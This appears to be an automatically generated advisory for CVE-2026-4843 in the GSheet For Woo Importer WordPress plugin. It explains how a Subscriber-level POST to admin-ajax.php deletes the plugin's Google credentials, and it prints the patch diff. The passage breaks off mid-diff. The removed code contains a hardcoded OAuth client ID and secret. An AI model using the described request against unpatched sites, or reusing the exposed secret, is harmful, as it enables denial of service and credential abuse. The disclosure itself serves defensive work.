Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-4843: GSheet For Woo Importer <= 2.3.1 – Missing Authorization to Authenticated (Subscriber+) Plugin Settings Reset (import-products-from-gsheet-for-woo-importer)

CVE ID CVE-2026-4843
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.3.1
Patched Version 2.4.1
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4843: The GSheet For Woo Importer plugin for WordPress versions up to 2.3.1 contains a missing authorization vulnerability in the process_ajax_restore_action() function. This allows authenticated attackers with Subscriber-level access or above to delete the plugin’s Google Sheets API token and configuration options. The CVSS score is 4.3 (Medium), and the weakness is classified as CWE-862 Missing Authorization.

The root cause is the absence of a capability check in the process_ajax_restore_action() function located in /src/Actions/AdminSettingsAction.php. In the vulnerable code, this function directly calls $this->settings_controller->settings_model->delete_options() without verifying that the requesting user has administrative privileges. The function is registered as an AJAX handler accessible via the WordPress admin-ajax.php endpoint. Any authenticated user, including Subscribers, can trigger this action.

To exploit this vulnerability, an attacker needs only a valid WordPress user account with Subscriber role or higher. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘gswoo_admin_ajax’. The attacker can optionally include a ‘restore’ action payload. The vulnerable function process_ajax_restore_action() executes and calls delete_options(), which removes the stored Google API key, the OAuth2 token, and all plugin configuration settings.

The patch adds three security checks at the beginning of process_ajax_restore_action() (lines 384-395 of the diff). First, it verifies that a nonce parameter is present in the POST request. Second, it validates the nonce against the newly created ‘gswoo_restore_action_nonce’. Third, and most critically, it adds a current_user_can(‘manage_options’) check, which restricts this action to WordPress administrators only. The patch also introduces a nonce for the AJAX endpoint by registering it via wp_localize_script() in the init() method of AdminSettingsAction.

Successful exploitation causes complete loss of the plugin’s Google Sheets integration. The attacker deletes the Google API key and the OAuth2 token stored in the WordPress options table. This breaks the plugin’s ability to connect to Google Drive and Sheets. The site administrator must re-enter all API credentials and reconfigure the plugin from scratch. No other user data or site content is affected, but the denial of service against the import functionality is total.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/import-products-from-gsheet-for-woo-importer/import-products-from-gsheet-for-woo-importer.php
+++ b/import-products-from-gsheet-for-woo-importer/import-products-from-gsheet-for-woo-importer.php
@@ -8,7 +8,7 @@
  * Plugin Name: GSheet For Woo Importer
  * Plugin URI:  https://github.com/OlegApanovich/import-products-from-gsheet-for-woo-importer
  * Description: Import woocommerce products from google sheet by using native woocommerce importer
- * Version:     2.3.1
+ * Version:     2.4.1
  * Author:      Oleg Apanovich
  * Author URI:  https://github.com/OlegApanovich
  * License:     GPL-3.0+
@@ -81,6 +81,7 @@
 		}

 		$this->define_constants();
+		$this->define_activation_hook();
 		$this->init_hooks();
 		$this->init_actions();
 	}
@@ -118,11 +119,25 @@
 	private function define_constants() {
 		define( 'GSWOO_PLUGIN_FILE', __FILE__ );
 		define( 'GSWOO_URI', plugins_url( '', GSWOO_PLUGIN_FILE ) );
-		define( 'GSWOO_URI_ABSPATH', dirname( __FILE__ ) . '/' );
+		define( 'GSWOO_URI_ABSPATH', __DIR__ . '/' );
 		define( 'GSWOO_WC_ABSPATH', WP_PLUGIN_DIR . '/woocommerce/' );
 	}

 	/**
+	 * Define activation hook.
+	 *
+	 * @since 1.0.0
+	 */
+	public function define_activation_hook() {
+		register_activation_hook(
+			GSWOO_PLUGIN_FILE,
+			function () {
+				update_user_meta( get_current_user_id(), 'gswoo_activation_redirect', true );
+			}
+		);
+	}
+
+	/**
 	 * Hook into actions and filters.
 	 *
 	 * @since 1.0.0
--- a/import-products-from-gsheet-for-woo-importer/src/Abstracts/GoogleApiInterplayAbstract.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Abstracts/GoogleApiInterplayAbstract.php
@@ -10,7 +10,6 @@
 namespace GSWOOAbstracts;

 use GSWOOServicesGoogleApiTokenAssertionMethodService;
-use GSWOOServicesGoogleApiTokenAuthCodeMethodService;

 /**
  * Class GoogleApiInterplayAbstract
@@ -46,14 +45,7 @@
 	 * @return GoogleApiTokenAbstract
 	 */
 	public function get_token_service() {
-		switch ( $this->options['google_auth_type'] ) {
-			case 'assertion_method_tab':
-				$token_service = new GoogleApiTokenAssertionMethodService( $this->options['google_api_key'] );
-				break;
-			case 'auth_code_method_tab':
-				$token_service = new GoogleApiTokenAuthCodeMethodService( $this->options['google_code_oauth2'] );
-				break;
-		}
+		$token_service = new GoogleApiTokenAssertionMethodService( $this->options['google_api_key'] );

 		return $token_service;
 	}
--- a/import-products-from-gsheet-for-woo-importer/src/Actions/AdminSettingsAction.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Actions/AdminSettingsAction.php
@@ -47,6 +47,7 @@
 	public function init() {

 		add_action( 'admin_menu', array( $this, 'add_menu' ) );
+		add_action( 'admin_init', array( $this, 'activation_redirect' ) );

 		add_action(
 			'admin_init',
@@ -62,10 +63,6 @@
 		);
 		add_action(
 			'admin_init',
-			array( $this, 'init_admin_settings_fields_auth_code_method_section' )
-		);
-		add_action(
-			'admin_init',
 			array( $this, 'init_admin_settings_fields_common_section' )
 		);

@@ -152,7 +149,8 @@
 			'gswoo-admin-settings-ajax',
 			'gswoo_admin_ajax',
 			array(
-				'url' => admin_url( 'admin-ajax.php' ),
+				'url'   => admin_url( 'admin-ajax.php' ),
+				'nonce' => wp_create_nonce( 'gswoo_restore_action_nonce' ),
 			)
 		);
 	}
@@ -241,12 +239,6 @@
 			'assertion_method_page'
 		);
 		add_settings_section(
-			'oauth_code_method_section',
-			'',
-			array( $this, 'plugin_section_text' ),
-			'auth_code_method_page'
-		);
-		add_settings_section(
 			'common_section',
 			'',
 			array( $this, 'plugin_section_text' ),
@@ -285,21 +277,6 @@
 	}

 	/**
-	 * Init plugin settings fields for oauth_code_method_section
-	 *
-	 * @since 2.0.0
-	 */
-	public function init_admin_settings_fields_auth_code_method_section() {
-		add_settings_field(
-			'plugin_google_oauth2_code',
-			'',
-			array( $this->settings_controller, 'display_settings_auth_code_method_section' ),
-			'auth_code_method_page',
-			'oauth_code_method_section'
-		);
-	}
-
-	/**
 	 * Set options and sanitize user input
 	 *
 	 * @noinspection PhpUnused
@@ -315,9 +292,6 @@
 		$valid_input['google_api_key']
 			= isset( $input['google_api_key'] ) ? esc_html( $input['google_api_key'] ) : '';

-		$valid_input['google_code_oauth2']
-			= isset( $input['google_code_oauth2'] ) ? sanitize_text_field( $input['google_code_oauth2'] ) : '';
-
 		$valid_input['google_sheet_data']
 			= isset( $input['google_sheet_data'] ) ? esc_html( $input['google_sheet_data'] ) : '';

@@ -375,6 +349,24 @@
 	}

 	/**
+	 * Redirect to plugin settings page after activation.
+	 *
+	 * @since 2.4
+	 */
+	public function activation_redirect() {
+		$user_id = get_current_user_id();
+		if ( ! get_user_meta( $user_id, 'gswoo_activation_redirect', true ) ) {
+			return;
+		}
+		delete_user_meta( $user_id, 'gswoo_activation_redirect' );
+		if ( wp_doing_ajax() || is_network_admin() ) {
+			return;
+		}
+		wp_safe_redirect( admin_url( 'admin.php?page=woocommerce_import_products_google_sheet_menu' ) );
+		exit;
+	}
+
+	/**
 	 * Function callback for add_settings_section
 	 *
 	 * @since 1.0.0
@@ -389,6 +381,19 @@
 	 * @since 2.0.0
 	 */
 	public function process_ajax_restore_action() {
+		if ( ! isset( $_POST['nonce'] ) ) {
+			wp_die( esc_attr__( 'Nonce is missing.', 'import-products-from-gsheet-for-woo-importer' ) );
+		}
+
+		$nonce = sanitize_text_field( wp_unslash( $_POST['nonce'] ) );
+		if ( ! wp_verify_nonce( $nonce, 'gswoo_restore_action_nonce' ) ) {
+			wp_die( esc_attr__( 'Nonce verification failed.', 'import-products-from-gsheet-for-woo-importer' ) );
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_attr__( 'You do not have permission to perform this action.', 'import-products-from-gsheet-for-woo-importer' ) );
+		}
+
 		$this->settings_controller->settings_model->delete_options();
 		wp_die();
 	}
--- a/import-products-from-gsheet-for-woo-importer/src/Actions/BackwardCompatibilityAction.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Actions/BackwardCompatibilityAction.php
@@ -50,6 +50,8 @@
 			2
 		);

+		add_action( 'admin_init', array( $this, 'remove_code_oauth2_options' ) );
+
 		add_filter(
 			'gswoo_get_empty_response',
 			array( $this, 'add_backward_get_empty_response' ),
@@ -132,4 +134,32 @@

 		return $is_empty;
 	}
+
+	/**
+	 * Remove 'One Click Connection Mehtod' options.
+	 *
+	 * @since 2.4
+	 * @to all later
+	 */
+	public function remove_code_oauth2_options() {
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! isset( $_GET['page'] ) || 'woocommerce_import_products_google_sheet_menu' !== $_GET['page'] ) {
+			return;
+		}
+
+		$options = get_option( 'plugin_wc_import_google_sheet_options', array() );
+
+		if ( ! is_array( $options ) || ! isset( $options['google_code_oauth2'] ) ) {
+			return;
+		}
+
+		unset( $options['google_code_oauth2'] );
+
+		if ( isset( $options['google_auth_type'] ) && 'auth_code_method_tab' === $options['google_auth_type'] ) {
+			$options['google_auth_type'] = 'assertion_method_tab';
+		}
+
+		update_option( 'plugin_wc_import_google_sheet_options', $options );
+		delete_option( 'plugin_wc_import_google_sheet_gs_token' );
+	}
 }
--- a/import-products-from-gsheet-for-woo-importer/src/Controllers/AdminSettingsController.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Controllers/AdminSettingsController.php
@@ -50,11 +50,6 @@
 	 * @since 2.0.0
 	 */
 	public function settings_form() {
-
-		$active_tab =
-			$this->settings_model->
-			get_active_google_auth_type();
-
 		include_once GSWOO_URI_ABSPATH . '/src/Views/html-admin-settings-form.php';
 	}

@@ -92,22 +87,6 @@
 		}
 	}

-	/**
-	 * Prerequisites and display section settings
-	 *
-	 * @since 2.0.0
-	 */
-	public function display_settings_auth_code_method_section() {
-
-		if ( empty( $this->options['google_code_oauth2'] ) || ! empty( $this->options['settings_auth_restore'] ) ) {
-			include_once GSWOO_URI_ABSPATH .
-				'/src/Views/html-admin-settings-auth-code-method-section-receive.php';
-		} else {
-			include_once GSWOO_URI_ABSPATH .
-				'/src/Views/html-admin-settings-auth-code-method-section-restore.php';
-		}
-	}
-
 	/**
 	 * Plugin connection google API error message on WC product screen
 	 *
--- a/import-products-from-gsheet-for-woo-importer/src/Models/AdminSettingsModel.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Models/AdminSettingsModel.php
@@ -46,15 +46,10 @@
 	 * @return string
 	 */
 	public function get_active_google_auth_type() {
-		if ( isset( $_GET['auth_tab'] ) ) {
-			$auth_type = sanitize_text_field( wp_unslash( $_GET['auth_tab'] ) );
+		if ( ! empty( $this->options['google_auth_type'] ) ) {
+			$auth_type = $this->options['google_auth_type'];
 		} else {
-			if ( empty( $this->options['google_auth_type'] ) ) {
-				// fallback for default method.
-				$auth_type = 'auth_code_method_tab';
-			} else {
-				$auth_type = $this->options['google_auth_type'];
-			}
+			$auth_type = 'assertion_method_tab';
 		}

 		return apply_filters( 'gswoo_get_active_google_auth_type', $auth_type, $this->options );
@@ -153,18 +148,9 @@

 		if ( empty( $this->options ) || empty( $this->options['google_auth_type'] ) ) {
 			$is_empty = true;
-		} else {
-			switch ( $this->options['google_auth_type'] ) {
-				case 'assertion_method_tab':
-					if ( ! $this->options['google_api_key'] ) {
-						$is_empty = true;
-					}
-					break;
-				case 'auth_code_method_tab':
-					if ( empty( $this->options['google_code_oauth2'] ) ) {
-						$is_empty = true;
-					}
-					break;
+		} elseif ( 'assertion_method_tab' === $this->options['google_auth_type'] ) {
+			if ( ! $this->options['google_api_key'] ) {
+				$is_empty = true;
 			}
 		}

@@ -347,7 +333,7 @@
 			return $sheet_data;
 		}

-		$resource = fopen( $file_sheet_path, 'w' );
+		$resource = fopen( $file_sheet_path, 'w' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen

 		if ( ! $resource ) {
 			return new WP_Error(
@@ -386,7 +372,7 @@
 			fputcsv( $resource, $sheet_string, $delimiter );
 		}

-		fclose( $resource );
+		fclose( $resource ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose

 		return true;
 	}
--- a/import-products-from-gsheet-for-woo-importer/src/Services/DriveInterplayService.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Services/DriveInterplayService.php
@@ -73,10 +73,21 @@
 		$sheets_list = array();

 		try {
-			$params  = array(
-				'q' => "mimeType='application/vnd.google-apps.spreadsheet'",
+			$mime_types = array(
+				'application/vnd.google-apps.spreadsheet',
+				'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+				'application/vnd.ms-excel',
+				'application/vnd.ms-excel.sheet.macroEnabled.12',
+				'application/vnd.oasis.opendocument.spreadsheet',
 			);
-			$results = $this->google_service_drive->files->listFiles( $params );
+			$mime_query = implode(
+				' or ',
+				array_map( fn( $type ) => "mimeType='$type'", $mime_types )
+			);
+			$params     = array(
+				'q' => $mime_query,
+			);
+			$results    = $this->google_service_drive->files->listFiles( $params );
 			foreach ( $results->files as $spreadsheet ) {
 				if ( isset( $spreadsheet['kind'] ) && 'drive#file' === $spreadsheet['kind'] ) {
 					$sheets_list[] = array(
--- a/import-products-from-gsheet-for-woo-importer/src/Services/GoogleApiTokenAssertionMethodService.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Services/GoogleApiTokenAssertionMethodService.php
@@ -48,10 +48,7 @@
 	 */
 	public function set_client() {
 		try {
-			putenv(
-				'GOOGLE_APPLICATION_CREDENTIALS=' . GSWOO_URI_ABSPATH . 'assets/client_secret.json'
-			);
-			$this->client->useApplicationDefaultCredentials();
+			$this->client->setAuthConfig( json_decode( $this->google_api_key, true ) );
 			$this->client->setApplicationName( 'Something to do with my representatives' );
 			$this->client->setScopes(
 				array(
@@ -73,8 +70,6 @@
 	 */
 	public function fetch_token() {
 		try {
-			$this->put_key_to_file_access();
-
 			$token = $this->client->fetchAccessTokenWithAssertion();
 		} catch ( Exception $e ) {
 			$token       = '';
@@ -83,32 +78,4 @@

 		return $token;
 	}
-
-	/**
-	 * Try to put key to access file.
-	 *
-	 * @since 2.0.0
-	 *
-	 * @return bool
-	 */
-	public function put_key_to_file_access() {
-
-		try {
-			$try_file_put = file_put_contents(
-				GSWOO_URI_ABSPATH . 'assets/client_secret.json',
-				$this->google_api_key
-			);
-		} catch ( Exception $e ) {
-			$this->error = new WP_Error( 'token_error', '(' . __METHOD__ . ')' . $e->getMessage() );
-		}
-
-		if ( empty( $try_file_put ) ) {
-			$this->error = new WP_Error(
-				'token_error',
-				'(' . __METHOD__ . ')' . __( 'Put file content error', 'import-products-from-gsheet-for-woo-importer' )
-			);
-		}
-
-		return true;
-	}
 }
--- a/import-products-from-gsheet-for-woo-importer/src/Services/GoogleApiTokenAuthCodeMethodService.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Services/GoogleApiTokenAuthCodeMethodService.php
@@ -1,108 +0,0 @@
-<?php
-/**
- * Obtain google API token service with auth code method.
- *
- * @since 2.0.0
- *
- * @package GSWOOServices
- */
-
-namespace GSWOOServices;
-
-use Exception;
-use GSWOOAbstractsGoogleApiTokenAbstract;
-use WP_Error;
-
-/**
- * Class GoogleApiTokenAuthCodeMethodService
- *
- * @since 2.0.0
- * @package GSWOOServices
- */
-class GoogleApiTokenAuthCodeMethodService extends GoogleApiTokenAbstract {
-
-	/**
-	 * App ID.
-	 *
-	 * @var string
-	 *
-	 * @since  2.0.0
-	 */
-	const OAUTH2_ID = '836707027943-7cdti4g8vtkt0fngg5cvjmp01fg2iksp.apps.googleusercontent.com';
-
-	/**
-	 * App secret.
-	 *
-	 * @var string
-	 *
-	 * @since  2.0.0
-	 */
-	const OAUTH2_SECRET = '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';
-
-	/**
-	 * App redirect.
-	 *
-	 * @var string
-	 *
-	 * @since  2.0.0
-	 */
-	const OAUTH2_REDIRECT = 'https://monolitpro.info?plugin=import-products-from-gsheet-for-woo-importer&action=oauth';
-
-	/**
-	 * Google API auth code.
-	 *
-	 * @var string
-	 *
-	 * @since  2.0.0
-	 */
-	public $google_code;
-
-	/**
-	 * GoogleApiTokenAuthCodeMethodService constructor.
-	 *
-	 * @since  2.0.0
-	 *
-	 * @param string $google_code
-	 */
-	public function __construct( $google_code ) {
-		$this->google_code = $google_code;
-
-		parent::__construct();
-	}
-
-	/**
-	 * Set google API client.
-	 *
-	 * @since 2.0.0
-	 */
-	public function set_client() {
-		try {
-			$this->client->setClientId( self::OAUTH2_ID );
-			$this->client->setClientSecret( self::OAUTH2_SECRET );
-			$this->client->setRedirectUri( self::OAUTH2_REDIRECT );
-			$this->client->setScopes( array( 'https://www.googleapis.com/auth/drive.readonly' ) );
-			$this->client->setAccessType( 'offline' );
-		} catch ( Exception $e ) {
-			$this->error = new WP_Error( 'token_error', '(' . __METHOD__ . ')' . $e->getMessage() );
-		}
-	}
-
-	/**
-	 * Get access token
-	 *
-	 * @since 2.0.0
-	 *
-	 * @return string
-	 */
-	public function fetch_token() {
-		try {
-			$this->client->fetchAccessTokenWithAuthCode( $this->google_code );
-			$token = $this->client->getAccessToken();
-		} catch ( Exception $e ) {
-			$this->error = new WP_Error( 'token_error', '(' . __METHOD__ . ')' . $e->getMessage() );
-			$token       = '';
-		}
-
-		return $token;
-	}
-}
--- a/import-products-from-gsheet-for-woo-importer/src/Services/SheetInterplayService.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Services/SheetInterplayService.php
@@ -10,9 +10,11 @@
 namespace GSWOOServices;

 use GoogleServiceSheets;
+use GoogleServiceDrive;
 use GSWOOAbstractsGoogleApiInterplayAbstract;
 use WP_Error;
 use Exception;
+use PhpOfficePhpSpreadsheetIOFactory;

 /**
  * Class SheetInterplayService
@@ -32,6 +34,14 @@
 	public $google_service_sheets;

 	/**
+	 * Instance of Google_Service_Drive class.
+	 *
+	 * @since  2.4
+	 * @var object GoogleServiceDriveGoogle_Service_Drive
+	 */
+	public $google_service_drive;
+
+	/**
 	 * SheetInterplayService constructor.
 	 *
 	 * @param array $options
@@ -47,6 +57,7 @@

 		try {
 			$this->google_service_sheets = new Sheets( $token_service->client );
+			$this->google_service_drive  = new Drive( $token_service->client );
 		} catch ( Exception $e ) {
 			$this->error = new WP_Error(
 				'api_connect_error',
@@ -60,11 +71,9 @@
 	 *
 	 * @since 2.0.0
 	 *
-	 * @noinspection PhpUndefinedVariableInspection*
-	 *
 	 * @param string $sheet_id
 	 *
-	 * @return WP_Error object|array
+	 * @return WP_Error|array
 	 */
 	public function get_sheet_csv( $sheet_id ) {
 		if ( $this->error ) {
@@ -72,6 +81,37 @@
 		}

 		try {
+			$file_meta = $this->google_service_drive->files->get(
+				$sheet_id,
+				array( 'fields' => 'mimeType' )
+			);
+			$mime_type = $file_meta->getMimeType();
+
+		} catch ( Exception $e ) {
+			return new WP_Error(
+				'get_sheet_csv',
+				'(' . __METHOD__ . ') ' . $e->getMessage()
+			);
+		}
+
+		if ( 'application/vnd.google-apps.spreadsheet' === $mime_type ) {
+			return $this->get_sheet_csv_via_sheets_api( $sheet_id );
+		}
+
+		return $this->get_sheet_csv_from_drive_file( $sheet_id );
+	}
+
+	/**
+	 * Fetch sheet data via Google Sheets API (native Google Sheets files only).
+	 *
+	 * @since 2.4
+	 *
+	 * @param string $sheet_id
+	 *
+	 * @return WP_Error|array
+	 */
+	private function get_sheet_csv_via_sheets_api( $sheet_id ) {
+		try {
 			$spreadsheet = $this->google_service_sheets->spreadsheets->get( $sheet_id );

 			$sheet_name = $spreadsheet[0]->properties->title;
@@ -79,7 +119,6 @@
 			$sheet =
 				$this->google_service_sheets->
 				spreadsheets_values->get( $sheet_id, $sheet_name );
-
 		} catch ( Exception $e ) {
 			return new WP_Error(
 				'get_sheet_csv',
@@ -95,8 +134,123 @@
 					'import-products-from-gsheet-for-woo-importer'
 				)
 			);
-		} else {
-			return $sheet->values;
 		}
+
+		return $sheet->values;
+	}
+
+	/**
+	 * Download a Drive file and parse it into a 2D array via PhpSpreadsheet.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $sheet_id
+	 *
+	 * @return WP_Error|array
+	 */
+	private function get_sheet_csv_from_drive_file( $sheet_id ) {
+		try {
+			$response = $this->google_service_drive->files->get(
+				$sheet_id,
+				array( 'alt' => 'media' )
+			);
+			$content  = $response->getBody()->getContents();
+		} catch ( Exception $e ) {
+			return new WP_Error(
+				'get_sheet_csv',
+				'(' . __METHOD__ . ') ' . $e->getMessage()
+			);
+		}
+
+		$tmp     = tempnam( sys_get_temp_dir(), 'gswoo_' );
+		$written = file_put_contents( $tmp, $content ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents
+
+		if ( false === $written ) {
+			return new WP_Error(
+				'tmp_file_write_error',
+				'(' . __METHOD__ . ') ' . sprintf(
+					// translators: %s: file path.
+					__(
+						"Could not write temporary file: %s. Please check your server's write permissions.",
+						'import-products-from-gsheet-for-woo-importer'
+					),
+					$tmp
+				)
+			);
+		}
+
+		return $this->parse_spreadsheet_file( $tmp );
+	}
+
+	/**
+	 * Load a local spreadsheet file via PhpSpreadsheet and return its data as a 2D array.
+	 *
+	 * @since 2.4
+	 *
+	 * @param string $file_path  Absolute path to the spreadsheet file.
+	 *
+	 * @return WP_Error|array
+	 */
+	private function parse_spreadsheet_file( $file_path ) {
+		try {
+			$spreadsheet = IOFactory::load( $file_path );
+			$sheet       = $spreadsheet->getActiveSheet();
+			$rows        = $sheet->toArray( '', false );
+		} catch ( Exception $e ) {
+			unlink( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
+			return new WP_Error(
+				'get_sheet_csv',
+				'(' . __METHOD__ . ') ' . $e->getMessage()
+			);
+		}
+
+		unlink( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
+
+		$rows = $this->drop_trailing_empty_rows( $rows );
+
+		if ( empty( $rows ) ) {
+			return new WP_Error(
+				'get_sheet_csv',
+				__(
+					"We couldn't retrieve any data from the spreadsheet. Please confirm the sheet is not empty.",
+					'import-products-from-gsheet-for-woo-importer'
+				)
+			);
+		}
+
+		return $rows;
+	}
+
+	/**
+	 * Remove trailing rows where every cell is null or an empty string.
+	 *
+	 * @since 2.4
+	 *
+	 * @param array $rows
+	 *
+	 * @return array
+	 */
+	private function drop_trailing_empty_rows( array $rows ) {
+		while ( ! empty( $rows ) && $this->is_empty_row( end( $rows ) ) ) {
+			array_pop( $rows );
+		}
+
+		return $rows;
+	}
+
+	/**
+	 * Check whether a spreadsheet row contains no meaningful data.
+	 *
+	 * A row is considered empty when every cell is either null or an empty
+	 * string, which is the placeholder PhpSpreadsheet uses for unset cells.
+	 *
+	 * @since 2.4
+	 *
+	 * @param array $row  Flat array of cell values for a single row.
+	 *
+	 * @return bool True if every cell is null or empty string, false otherwise.
+	 */
+	private function is_empty_row( array $row ) {
+		return empty( array_filter( $row, fn( $v ) => null !== $v && '' !== $v ) );
 	}
 }
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-assertion-method-section-receive.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-assertion-method-section-receive.php
@@ -16,7 +16,7 @@

 <h3>
 	<label for="plugin_google_api_key">
-		<?php esc_html_e( 'Google drive API client_secret json', 'import-products-from-gsheet-for-woo-importer' ); ?>
+		<?php esc_html_e( 'Google drive API client_secret json', 'import-products-from-gsheet-for-woo-importer' ); ?> ( <a href="https://github.com/OlegApanovich/import-products-from-gsheet-for-woo-importer?tab=readme-ov-file#set-connection-wtih-client_secret-json-code" target="_blank"><?php esc_html_e( 'how to get', 'import-products-from-gsheet-for-woo-importer' ); ?></a> )
 	</label>
 </h3>

--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-auth-code-method-section-receive.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-auth-code-method-section-receive.php
@@ -1,40 +0,0 @@
-<?php
-/**
- * Admin View
- *
- * @since 2.0.0
- *
- * @var array $options
- *
- * @package GSWOO
- */
-
-defined( 'ABSPATH' ) || exit;
-
-// @codingStandardsIgnoreLine
-$code = empty( $_GET['code'] ) ? '' : rawurldecode( $_GET['code'] );
-// We need to know where to redirect after authorization.
-$plugin_setting_page = '&page=' . ( admin_url( 'admin.php?page=woocommerce_import_products_google_sheet_menu' ) );
-$app_service_link    = 'https://monolitpro.info?plugin=import-products-from-gsheet-for-woo-importer';
-$action_name         = '&action=connect-redirect';
-$app_link            = $app_service_link . $plugin_setting_page . $action_name;
-?>
-
-<h3>
-	<label for="plugin_google_oauth2_code">
-		<?php esc_html_e( 'Google Access Code', 'import-products-from-gsheet-for-woo-importer' ); ?>
-	</label>
-</h3>
-
-<a class="button-primary" href="<?php echo esc_html( $app_link ); ?>">
-	<strong><?php esc_html_e( 'Get Code', 'import-products-from-gsheet-for-woo-importer' ); ?></strong>
-</a>
-
-<input
-	type="password"
-	id="plugin_google_oauth2_code"
-	placeholder="Enter Code"
-	name="plugin_wc_import_google_sheet_options[google_code_oauth2]"
-	size="40"
-	value="<?php echo esc_html( $code ); ?>"
->
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-auth-code-method-section-restore.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-auth-code-method-section-restore.php
@@ -1,26 +0,0 @@
-<?php
-/**
- * Admin View: Product import settings
- *
- * @since 2.0.0
- *
- * @var array $options
- *
- * @package GSWOO
- */
-
-defined( 'ABSPATH' ) || exit;
-?>
-
-<h3>
-	<label for="plugin_google_oauth2_code">
-		<?php esc_html_e( 'Google Access Code', 'import-products-from-gsheet-for-woo-importer' ); ?>
-	</label>
-</h3>
-
-<?php
-require_once GSWOO_URI_ABSPATH . '/src/Views/html-admin-settings-restore-button.php';
-?>
-
-<input readonly type="password" id="plugin_google_oauth2_code" name="plugin_wc_import_google_sheet_options[google_code_oauth2]" size="40" value="<?php echo esc_html( $this->options['google_code_oauth2'] ); ?>">
-<br>
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-common-section.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-common-section.php
@@ -22,7 +22,7 @@
 	?>
 	<h3>
 		<label for="plugin_google_sheet_data">
-			<?php esc_html_e( 'Google sheet title (support only native google-apps.spreadsheet file type)', 'import-products-from-gsheet-for-woo-importer' ); ?>
+			<?php esc_html_e( 'Google sheet title (supports Google Sheets, xlsx, xlsm, xls and ods files)', 'import-products-from-gsheet-for-woo-importer' ); ?>
 		</label>
 	</h3>

--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-error-connection-message.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-error-connection-message.php
@@ -12,8 +12,8 @@
 defined( 'ABSPATH' ) || exit;
 ?>

-<h3 style="color: red;">
+<h4 style="color: red; max-width: 500px; color: #D32F2F;">
 	<?php
 	echo wp_kses( $response['message'], array( 'a' => array( 'href' => array() ) ) );
 	?>
-</h3>
+</h4>
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-form.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-form.php
@@ -13,34 +13,21 @@
 ?>

 <h1>
-	<?php esc_html_e( 'Plugin Options Page', 'import-products-from-gsheet-for-woo-importer' ); ?>
+	<?php esc_html_e( 'Import Google Sheet Plugin Settings Page', 'import-products-from-gsheet-for-woo-importer' ); ?>
 </h1>

-<br>
-
-<h2>
-	<?php esc_html_e( 'Google API Connect Method', 'import-products-from-gsheet-for-woo-importer' ); ?>
-</h2>
-
 <!--suppress HtmlUnknownTarget -->
 <form action="options.php" method="post">
 	<h2 class="nav-tab-wrapper">
-		<a id="auth_code_method_tab" href="?page=woocommerce_import_products_google_sheet_menu&auth_tab=auth_code_method_tab" class=" nav-tab <?php echo 'auth_code_method_tab' === $active_tab ? 'nav-tab-active' : ''; ?>">
-			<?php esc_html_e( 'One Click Auto Connect', 'import-products-from-gsheet-for-woo-importer' ); ?>
-		</a>
-		<a id="assertion_method_tab" href="?page=woocommerce_import_products_google_sheet_menu&auth_tab=assertion_method_tab" class="nav-tab <?php echo 'assertion_method_tab' === $active_tab ? 'nav-tab-active' : ''; ?>">
-			<?php esc_html_e( 'Manual Connect', 'import-products-from-gsheet-for-woo-importer' ); ?>
+		<a id="assertion_method_tab" href="?page=woocommerce_import_products_google_sheet_menu&auth_tab=assertion_method_tab" class="nav-tab nav-tab-active">
+			<?php esc_html_e( 'Google API Connect', 'import-products-from-gsheet-for-woo-importer' ); ?>
 		</a>
 	</h2>

 	<?php settings_fields( 'plugin_wc_import_google_sheet_options' ); ?>

 	<?php
-	if ( 'auth_code_method_tab' === $active_tab ) {
-		do_settings_sections( 'auth_code_method_page' );
-	} elseif ( 'assertion_method_tab' === $active_tab ) {
-		do_settings_sections( 'assertion_method_page' );
-	}
+	do_settings_sections( 'assertion_method_page' );

 	do_settings_sections( 'common_page' );
 	?>
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-require-admin-notice.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-settings-require-admin-notice.php
@@ -15,11 +15,13 @@
 <div class="notice notice-warning is-dismissible">
 	<p>
 		<?php
-		echo sprintf(
-		// translators: %1s: plugin import page link, %2s: close link tag.
-			esc_html__(
-				'We can not show you import google sheet plugin button because you do not set google api connection, please go to %1$1s plugin settings page %2$2s and try to set it again.',
-				'import-products-from-gsheet-for-woo-importer'
+		printf(
+			wp_kses_post(
+				// translators: %1$s: opening link tag, %2$s: closing link tag.
+				__(
